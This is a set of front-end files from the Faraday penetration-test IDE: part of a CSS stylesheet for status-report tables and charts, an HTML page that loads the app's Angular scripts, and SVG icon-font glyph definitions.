202 .seccion2 p {
203 text-align: left;
204 margin-top: 15px;
205 }
206 .sin_padding {
207 padding: 0 !important;
208 background: #E8EFF0;
209 position: relative;
210 }
211 .sin_padding h2{padding-bottom: 16px;}
212
213 /* ==== COLORES generales ==== */
214 /* Fondos */
215 .fondo-rojo, .fondo-high {background-color: #DF3936 !important;}
216 .fondo-negro {background-color: #000 !important;}
217 .fondo-gris1, .fondo-critical {background-color: #8B00FF !important;}
218 .fondo-gris1, .fondo-unclassified {background-color: #858585 !important;}
219 .fondo-blanco {background-color: #fff !important;}
220 .fondo-info {background-color: #428bca !important;}
221 .fondo-naranja, .fondo-med {background-color: #DFBF35 !important;}
222 .fondo-amarillo, .fondo-low {background-color: #A1CE31 !important;}
223 .fondo-violeta {background-color: #8D2BB4 !important;}
224 /* Textos*/
225 .texto-rojo {color: #DF3936;}
226 .texto-negro {color: #000;}
227 .texto-gris1 {color: #2D2F31;}
228 .texto-blanco {color: #fff;}
229
230 /* Datos con nro grande, titulo y texto */
231 .dato1 {
232 color: #858585;
233 }
234 .dato1 .nro {
235 font-size: 34px;
236 font-weight: 300;
237 color: #DF3936;
238 }
239
240 /* datos grandes con fondo de color */
241 .dato2 * {
242 text-align: center;
243 }
244 .dato2 .nro {
245 font-size: 300%;
246 font-weight: 300;
247 }
248 .dato2 .txt {
249 font-size: 11px;
250 font-weight: 700;
251 }
252
253
254 /* TABLES - Table sorter for status report*/
255 table.tablesorter {
256 font-size: 12px;
257 width: 100%;
258 text-align: center;
259 }
260 .tablesorter thead th {
261 height: 30px;
262 border: 1px solid!important;
263 }
264 .tablesorter tbody {
265 height: 95px;
266 overflow-y: auto;
267 }
268 .main thead tr{position: absolute;top:38px;}
269 #no-overflow thead,#no-overflow tbody,#no-overflow tr,#no-overflow td,#no-overflow th { display: block; }
270 table.tablesorter thead tr .header {
271 background-repeat: no-repeat;
272 background-position: center right;
273 cursor: pointer;
274 }
275 table.tablesorter thead tr th, table.tablesorter tfoot tr th {
276 background-color: #3F464C;
277 color: #fff;
278 border: 1px solid #FFF;
279 font-size: 14px;
280 }
281
282 table.tablesorter tbody td {
283 color: #3D3D3D;
284 background-color: #FFF;
285 vertical-align: top;
286 }
287 table.tablesorter tbody tr.odd td {
288 background-color:#F0F0F6;
289 }
290
291 table.tablesorter thead tr th:first-child,
292 table.tablesorter tbody tr td:first-child {
293 padding-left: 5px;
294 }
295 .tablesorter tr:after {
296 content: ' ';
297 display: block;
298 visibility: hidden;
299 clear: both;
300 }
301 .tablesorter tbody td,.tablesorter thead th {
302 width: 33.33%;
303 float: left;
304 }
305
306 table.tablesorter thead tr .headerSortUp {
307 background-image: url(images/asc.gif);
308 }
309 table.tablesorter thead tr .headerSortDown {
310 background-image: url(images/desc.gif);
311 }
312
313
314 table.status-report {
315 background-color: #CDCDCD;
316 margin:0px 0pt 15px;
317 font-size: 12px;
318 width: 100%;
319 text-align: center;
320 }
321
322
323
324 table.status-report thead tr th, table.status-report tfoot tr th {
325 background-color: #3F464C;
326 color: #fff;
327 border: 1px solid #FFF;
328 font-size: 14px;
329 padding: 5px;
330 }
331
332 table.status-report thead tr .header {
333 background-repeat: no-repeat;
334 background-position: center right;
335 cursor: pointer;
336 }
337
338 table.status-report tbody td {
339 color: #3D3D3D;
340 padding: 5px;
341 vertical-align: top;
342 }
343
344 table.status-report tbody tr.odd td {
345 background-color:#F0F0F6;
346 }
347 table.status-report th:last-child{text-align: center}
348
349 table.status-report thead tr th:first-child,
350 table.status-report tbody tr td:first-child {
351 padding-left: 5px;
352 }
353 table.csv-export tbody tr:nth-child(even) {
354 background-color: #f1f1f1;
355 }
356 table.csv-export tbody tr:nth-child(odd) {
357 background-color: #ffffff;
358 }
359 table.csv-export tbody tr:hover{
360 background-color: #ecebea;
361 }
362 .multi-selected {
363 background: #f2dede !important;
364 }
365
366 #list .tablesorter thead th {
367 width: 25%;
368 float: left;
369 border:1px solid;
370 }
371 #list .tablesorter tbody td {width: 23.6%}
372 #list .tablesorter tbody td:nth-child(2){width: 29%;word-wrap: break-word;}
373 #compound .tablesorter tbody{height:284px;}
374
375 .table-striped tbody tr:nth-child(odd){background: #f9f9f9;}
376 .table-striped tbody tr:nth-child(even){background: #FFF;}
377
378 /* modal window */ /* collapse */
379 table.status-report tbody td:nth-child(5), .modal-content td{
380 max-width: 265px;
381 word-wrap: break-word;
382 }
383 div.modal-button{float:right;}
384 /* select */
385 select.ng-valid{
386 font-size: 15px;
387 height: 32px;
388 }
389 /* End Table sorter*/
390
391 /* D3 */
392 #text{font-weight: bold;margin:-18px 3px -4px 0px;float: right;}
393 #treemap {
394 /*font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;*/
395 position: relative;
396 }
397 .node {
398 border: solid 1px white;
399 font: 10px sans-serif;
400 line-height: 12px;
401 overflow: hidden;
402 position: absolute;
403 text-indent: 2px;
404 }
405
406 .bar {
407 fill: steelblue;
408 }
409 .bar:hover {
410 opacity: 0.5;
411 }
412 #bar svg{margin-left: -10px;}
413
414 #contenido{text-align: left;}
415 #sequence {
416 height: 0px;
417 }
418 #sequence text, #legend text {
419 font-weight: 600;
420 fill: #fff;
421 }
422 #chart path {
423 stroke: #fff;
424 }
425 /* End of D3*/
426
427 /* reports */
428 #treemap, #bar, #cake{height:195px}
429 #vulns .columna{margin-left:2%}
430 #vulns .main{width:100%;height:105px}
431 #vulns .columna.unsexto{margin: auto;}
432 #summarized .main{height:197px}
433 #byservices .main{height:197px}
434 #byservices .alert, #summarized .alert{width: 100%}
435 #compound header, #list header{min-height: 40px;}
436 .status .seccion2{width: 100%;}
437 /* End of reports*/
438
439 /*BOOTSTRAP*/
440 /* Custom Bootstrap Danger dropdown styles */
441 .dropdown-menu-danger {
442 background-image: linear-gradient(to bottom, #d9534f 0px, #c12e2a 100%);
443 background-repeat: repeat-x;
444 border-color: #b92c28;
445 }
446 .dropdown-menu-danger li a {
447 color: #ffffff !important;
448 text-shadow: 0 1px 0 rgba(0,0,0,.5);
449 &:focus {
450 background-color: #000000 !important;
451 background-image: linear-gradient(to bottom, #000000 0px, #c12e2a 100%) !important;
452 background-repeat: repeat-x;
453 color: #000000 !important;
454 }
455 }
456 #sec {
457 float: right;
458 margin-top: -34px;
459 }
460
461 #byservices .col-lg-3, #summarized .col-lg-3{width: 29%;margin:0px -2% 0px 0%;}
462 section .col-lg-2{margin: 0px -2% 0px 2px;padding-right: 1.9%;}
463 .col-lg-6 .panel{margin-bottom: 10px}
464 #list .col-lg-6, #vulns .col-lg-6{width: 55%;float: right;}
465 #compound .col-lg-6{width: 45%;margin-top: -2%;}
466
467 .panel{margin-bottom: 1%!important}
468 .box{
469 display: flex;
470 flex-direction: row;
471 flex-wrap: wrap;
472 justify-content: center;
473 align-items: center;
474 }
475 #merge, #delete, #new{margin:5px;float:right;}
476 .input-sm{float: left;margin-bottom: 20px;}
477 /* Media */
478 @media screen and (min-width: 1380px){
479 #list .tablesorter thead th {width: 25%}
480 .treemap{margin-left:13%;}
481 .seccion.treemap{margin-left: 20%}
482 #byservices .col-lg-3, #summarized .col-lg-3{width: 28%;margin: 0px -2% 0px 1%;}
483 }
484 @media screen and (max-width:1000px) {
485 #no-overflow{overflow: auto!important }
486 .col-lg-2{width: 100%;margin: auto;}
487 section#main{height: 100%!important}
488 .treemap{left:256px!important;}
489 #compound .col-lg-6, #list .col-lg-6, #vulns .col-lg-6, #byservices .col-lg-3, #summarized .col-lg-3{
490 width: 100%;margin-top: 0%
491 }
492 }
493 /* End of media */
494 /* Styles for WS list */
495 .ws-name {
496 font: 250%/3 'Ubuntu',Helvetica,Arial,sans-serif !important;
497 font-size: 100%;
498 margin: 5px;
499 }
500 .ws-link {
501 float: left;
502 color: #ffffff;
503 text-decoration: none;
504 }
505 a.ws-link:hover {
506 color: #ffffff;
507 text-decoration: none;
508 }
509 /* End of WS list */
510 /* New Modal*/
511 div.panel-default .panel-body label{font-size: 15px}
512 i.pull-right.glyphicon.ng-scope.glyphicon-plus-sign{color:green;}
513
514 div.panel-collapse .panel-body{padding:0px;}
515 div.panel.panel-default div.panel-heading{padding: 0px}
516 div.panel-body table{width: 100%}
517 div.panel-body td{font-size: 15px; padding: 10px 20px; border-bottom: 1px solid #ECE9E9;}
518 a.ng-binding.ng-pristine, a.ng-binding.ng-scope{display: block; font-size: 15px; text-decoration: none; padding: 5px 15px}
519 a.ng-binding.ng-scope{padding: 10px;}
520 div.panel-heading a i.glyphicon{margin: -25px 10px;}
521 div.modal-body .alert-danger.target_not_selected{font-size: 15px}
0 <!-- Faraday Penetration Test IDE &#45; Community Version -->
1 <!-- Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/) -->
2 <!-- See the file 'doc/LICENSE' for the license information -->
3 <!DOCTYPE html>
4 <!--[if lt IE 7 ]> <html lang="en" class="no-js ie6"> <![endif]-->
5 <!--[if IE 7 ]> <html lang="en" class="no-js ie7"> <![endif]-->
6 <!--[if IE 8 ]> <html lang="en" class="no-js ie8"> <![endif]-->
7 <!--[if IE 9 ]> <html lang="en" class="no-js ie9"> <![endif]-->
8 <!--[if (gt IE 9)|!(IE)]><!--> <html lang="en" class="no-js"> <!--<![endif]-->
9 <head>
10 <meta charset="utf-8"/>
11 <!--[if IE]><![endif]-->
12 <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
13 <title>Status Report | Faraday</title>
14 <meta name="description" content=""/>
15 <meta name="keywords" content=""/>
16 <meta name="author" content=""/>
17
18 <!-- CSS -->
19 <link rel="stylesheet" type="text/css" href="normalize.css" />
20 <link rel="stylesheet" type="text/css" href="estilos.css" />
21 <link rel="stylesheet" type="text/css" href="script/jquery.qtip.css" />
22 <link rel="stylesheet" href="script/bootstrap.min.css">
23 <link rel="stylesheet" href="script/bootstrap-theme.min.css">
24 <link rel="stylesheet" type="text/css" href="styles/font-awesome.css" />
25
26 <!-- Icons -->
27 <link href="favicon.ico" rel="shortcut icon">
28 <link href="favicon.ico" type="image/vnd.microsoft.icon" rel="icon" />
29 <link href="images/site_preview.jpg" rel="image_src" />
30
31 <!-- Scripts -->
32 <script type="text/javascript" src="/_utils/script/jquery.js"></script>
33 <script type="text/javascript" src="/_utils/script/jquery.couch.js"></script>
34 <script type="text/javascript" src="script/bootstrap.min.js"></script>
35 <script type="text/javascript" src="script/angular.js"></script>
36 <script type="text/javascript" src="script/angular-route.js"></script>
37 <script type="text/javascript" src="script/angular-selection-model.js"></script>
38 <script type="text/javascript" src="script/ui-bootstrap-tpls-0.11.2.min.js"></script>
39 <script type="text/javascript" src="script/jquery.qtip.js"></script>
40 <script type="text/javascript" src="script/cryptojs-sha1.js"></script>
41 </head>
42
43 <body ng-app="faradayApp">
44 <div id="cont">
45 <div class="wrapper">
46 <header class="head">
47 <a href="#" class="ws-dashboard"><img class="logo" src="images/logo-faraday.png" alt="Faraday home | WS Dashboard"/></a>
48 </header>
49
50 <div ng-view></div>
51 </div><!--!/#wrapper -->
52 </div><!--!/#container -->
53
54 <script type="text/javascript" src="scripts/app.js"></script>
55 <script type="text/javascript" src="scripts/fileExporter/directives/download.js"></script>
56 <script type="text/javascript" src="scripts/fileExporter/services/blob.js"></script>
57 <script type="text/javascript" src="scripts/fileExporter/services/click.js"></script>
58 <script type="text/javascript" src="scripts/hosts/services/hosts.js"></script>
59 <script type="text/javascript" src="scripts/modal/controllers/modalDelete.js"></script>
60 <script type="text/javascript" src="scripts/modal/controllers/modalEdit.js"></script>
61 <script type="text/javascript" src="scripts/modal/controllers/modalNew.js"></script>
62 <script type="text/javascript" src="scripts/modal/controllers/modalKO.js"></script>
63 <script type="text/javascript" src="scripts/notes/services/notes.js"></script>
64 <script type="text/javascript" src="scripts/statusReport/controllers/statusReport.js"></script>
65 <script type="text/javascript" src="scripts/statusReport/directives/textCollapse.js"></script>
66 <script type="text/javascript" src="scripts/statusReport/services/commons.js"></script>
67 <script type="text/javascript" src="scripts/statusReport/services/statusReport.js"></script>
68 <script type="text/javascript" src="scripts/statusReport/services/target.js"></script>
69 <script type="text/javascript" src="scripts/vulns/services/vulns.js"></script>
70 <script type="text/javascript" src="scripts/vulnsWeb/services/vulnsWeb.js"></script>
71 <script type="text/javascript" src="scripts/workspaces/controllers/workspaces.js"></script>
72 <script type="text/javascript" src="scripts/workspaces/services/workspaces.js"></script>
73 </body>
74 </html>
0 <?xml version="1.0" standalone="no"?>
1 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
2 <svg xmlns="http://www.w3.org/2000/svg">
3 <metadata>
4 This is a custom SVG font generated by IcoMoon.
5 <iconset grid="14"></iconset>
6 </metadata>
7 <defs>
8 <font id="flexslider-icon" horiz-adv-x="448" >
9 <font-face units-per-em="448" ascent="384" descent="-64" />
10 <missing-glyph horiz-adv-x="448" />
11 <glyph unicode="&#xf001;" d="M 185.50-9.25l-163.00,162.75q-9.25,9.25 -9.25,22.625t 9.25,22.625l 163.00,162.75q 9.25,9.25 22.625,9.25t 22.625-9.25l 18.75-18.75q 9.25-9.25 9.25-22.625t-9.25-22.625l-121.50-121.50l 121.50-121.25q 9.25-9.50 9.25-22.75t-9.25-22.50l-18.75-18.75q-9.25-9.25 -22.625-9.25t-22.625,9.25z" horiz-adv-x="288" />
12 <glyph unicode="&#xf002;" d="M 274.75,176.00q0.00-13.00 -9.25-22.75l-163.00-162.75q-9.25-9.25 -22.50-9.25t-22.50,9.25l-19.00,18.75q-9.25,9.75 -9.25,22.75q0.00,13.25 9.25,22.50l 121.50,121.50l-121.50,121.25q-9.25,9.75 -9.25,22.75q0.00,13.25 9.25,22.50l 19.00,18.75q 9.00,9.50 22.50,9.50t 22.50-9.50l 163.00-162.75q 9.25-9.25 9.25-22.50z" horiz-adv-x="288" />
13 <glyph unicode="&#xf003;" d="M 346.00,152.25l-332.00-184.50q-5.75-3.25 -9.875-0.75t-4.125,9.00l0.00,368.00 q0.00,6.50 4.125,9.00t 9.875-0.75l 332.00-184.50q 5.75-3.25 5.75-7.75t-5.75-7.75z" horiz-adv-x="352" />
14 <glyph unicode="&#xf004;" d="M 384.00,336.00l0.00-352.00 q0.00-6.50 -4.75-11.25t-11.25-4.75l-128.00,0.00 q-6.50,0.00 -11.25,4.75t-4.75,11.25l0.00,352.00 q0.00,6.50 4.75,11.25t 11.25,4.75l 128.00,0.00 q 6.50,0.00 11.25-4.75t 4.75-11.25zM 160.00,336.00l0.00-352.00 q0.00-6.50 -4.75-11.25t-11.25-4.75l-128.00,0.00 q-6.50,0.00 -11.25,4.75t-4.75,11.25l0.00,352.00 q0.00,6.50 4.75,11.25t 11.25,4.75l 128.00,0.00 q 6.50,0.00 11.25-4.75t 4.75-11.25z" horiz-adv-x="384" />
15 <glyph unicode="&#xf005;" d="M 402.75,208.00q0.00-13.25 -9.25-22.50l-162.75-162.75q-9.50-9.50 -22.75-9.50q-13.50,0.00 -22.50,9.50l-162.75,162.75q-9.50,9.00 -9.50,22.50q0.00,13.25 9.50,22.75l 18.50,18.75q 9.75,9.25 22.75,9.25q 13.25,0.00 22.50-9.25l 121.50-121.50l 121.50,121.50q 9.25,9.25 22.50,9.25q 13.00,0.00 22.75-9.25l 18.75-18.75q 9.25-9.75 9.25-22.75z" horiz-adv-x="416" />
16 <glyph unicode="&#x20;" horiz-adv-x="224" />
17 <glyph class="hidden" unicode="&#xf000;" d="M0,384L 448 -64L0 -64 z" horiz-adv-x="0" />
18 </font></defs></svg>
0 <?xml version="1.0" standalone="no"?>
1 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
2 <svg xmlns="http://www.w3.org/2000/svg">
3 <metadata></metadata>
4 <defs>
5 <font id="fontawesomeregular" horiz-adv-x="1536" >
6 <font-face units-per-em="1792" ascent="1536" descent="-256" />
7 <missing-glyph horiz-adv-x="448" />
8 <glyph unicode=" " horiz-adv-x="448" />
9 <glyph unicode="&#x09;" horiz-adv-x="448" />
10 <glyph unicode="&#xa0;" horiz-adv-x="448" />
11 <glyph unicode="&#xa8;" horiz-adv-x="1792" />
12 <glyph unicode="&#xa9;" horiz-adv-x="1792" />
13 <glyph unicode="&#xae;" horiz-adv-x="1792" />
14 <glyph unicode="&#xb4;" horiz-adv-x="1792" />
15 <glyph unicode="&#xc6;" horiz-adv-x="1792" />
16 <glyph unicode="&#xd8;" horiz-adv-x="1792" />
17 <glyph unicode="&#x2000;" horiz-adv-x="768" />
18 <glyph unicode="&#x2001;" horiz-adv-x="1537" />
19 <glyph unicode="&#x2002;" horiz-adv-x="768" />
20 <glyph unicode="&#x2003;" horiz-adv-x="1537" />
21 <glyph unicode="&#x2004;" horiz-adv-x="512" />
22 <glyph unicode="&#x2005;" horiz-adv-x="384" />
23 <glyph unicode="&#x2006;" horiz-adv-x="256" />
24 <glyph unicode="&#x2007;" horiz-adv-x="256" />
25 <glyph unicode="&#x2008;" horiz-adv-x="192" />
26 <glyph unicode="&#x2009;" horiz-adv-x="307" />
27 <glyph unicode="&#x200a;" horiz-adv-x="85" />
28 <glyph unicode="&#x202f;" horiz-adv-x="307" />
29 <glyph unicode="&#x205f;" horiz-adv-x="384" />
30 <glyph unicode="&#x2122;" horiz-adv-x="1792" />
31 <glyph unicode="&#x221e;" horiz-adv-x="1792" />
32 <glyph unicode="&#x2260;" horiz-adv-x="1792" />
33 <glyph unicode="&#x25fc;" horiz-adv-x="500" d="M0 0z" />
34 <glyph unicode="&#xf000;" horiz-adv-x="1792" d="M1699 1350q0 -35 -43 -78l-632 -632v-768h320q26 0 45 -19t19 -45t-19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45t45 19h320v768l-632 632q-43 43 -43 78q0 23 18 36.5t38 17.5t43 4h1408q23 0 43 -4t38 -17.5t18 -36.5z" />
35 <glyph unicode="&#xf001;" d="M1536 1312v-1120q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v537l-768 -237v-709q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89 t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v967q0 31 19 56.5t49 35.5l832 256q12 4 28 4q40 0 68 -28t28 -68z" />
36 <glyph unicode="&#xf002;" horiz-adv-x="1664" d="M1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -52 -38 -90t-90 -38q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5 t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
37 <glyph unicode="&#xf003;" horiz-adv-x="1792" d="M1664 32v768q-32 -36 -69 -66q-268 -206 -426 -338q-51 -43 -83 -67t-86.5 -48.5t-102.5 -24.5h-1h-1q-48 0 -102.5 24.5t-86.5 48.5t-83 67q-158 132 -426 338q-37 30 -69 66v-768q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1664 1083v11v13.5t-0.5 13 t-3 12.5t-5.5 9t-9 7.5t-14 2.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5q0 -168 147 -284q193 -152 401 -317q6 -5 35 -29.5t46 -37.5t44.5 -31.5t50.5 -27.5t43 -9h1h1q20 0 43 9t50.5 27.5t44.5 31.5t46 37.5t35 29.5q208 165 401 317q54 43 100.5 115.5t46.5 131.5z M1792 1120v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
38 <glyph unicode="&#xf004;" horiz-adv-x="1792" d="M896 -128q-26 0 -44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124t127 -344q0 -221 -229 -450l-623 -600 q-18 -18 -44 -18z" />
39 <glyph unicode="&#xf005;" horiz-adv-x="1664" d="M1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -21 -10.5 -35.5t-30.5 -14.5q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455 l502 -73q56 -9 56 -46z" />
40 <glyph unicode="&#xf006;" horiz-adv-x="1664" d="M1137 532l306 297l-422 62l-189 382l-189 -382l-422 -62l306 -297l-73 -421l378 199l377 -199zM1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -50 -41 -50q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500 l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455l502 -73q56 -9 56 -46z" />
41 <glyph unicode="&#xf007;" horiz-adv-x="1408" d="M1408 131q0 -120 -73 -189.5t-194 -69.5h-874q-121 0 -194 69.5t-73 189.5q0 53 3.5 103.5t14 109t26.5 108.5t43 97.5t62 81t85.5 53.5t111.5 20q9 0 42 -21.5t74.5 -48t108 -48t133.5 -21.5t133.5 21.5t108 48t74.5 48t42 21.5q61 0 111.5 -20t85.5 -53.5t62 -81 t43 -97.5t26.5 -108.5t14 -109t3.5 -103.5zM1088 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
42 <glyph unicode="&#xf008;" horiz-adv-x="1920" d="M384 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 320v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 704v128q0 26 -19 45t-45 19h-128 q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 -64v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM384 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45 t45 -19h128q26 0 45 19t19 45zM1792 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 704v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1792 320v128 q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 704v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19 t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1920 1248v-1344q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1344q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
43 <glyph unicode="&#xf009;" horiz-adv-x="1664" d="M768 512v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM768 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 512v-384q0 -52 -38 -90t-90 -38 h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
44 <glyph unicode="&#xf00a;" horiz-adv-x="1792" d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 288v-192q0 -40 -28 -68t-68 -28h-320 q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28 h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192 q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68z" />
45 <glyph unicode="&#xf00b;" horiz-adv-x="1792" d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-960 q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28 h960q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68z" />
46 <glyph unicode="&#xf00c;" horiz-adv-x="1792" d="M1671 970q0 -40 -28 -68l-724 -724l-136 -136q-28 -28 -68 -28t-68 28l-136 136l-362 362q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -295l656 657q28 28 68 28t68 -28l136 -136q28 -28 28 -68z" />
47 <glyph unicode="&#xf00d;" horiz-adv-x="1408" d="M1298 214q0 -40 -28 -68l-136 -136q-28 -28 -68 -28t-68 28l-294 294l-294 -294q-28 -28 -68 -28t-68 28l-136 136q-28 28 -28 68t28 68l294 294l-294 294q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -294l294 294q28 28 68 28t68 -28l136 -136q28 -28 28 -68 t-28 -68l-294 -294l294 -294q28 -28 28 -68z" />
48 <glyph unicode="&#xf00e;" horiz-adv-x="1664" d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-224q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v224h-224q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h224v224q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5v-224h224 q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5 t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
49 <glyph unicode="&#xf010;" horiz-adv-x="1664" d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-576q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h576q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5z M1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z " />
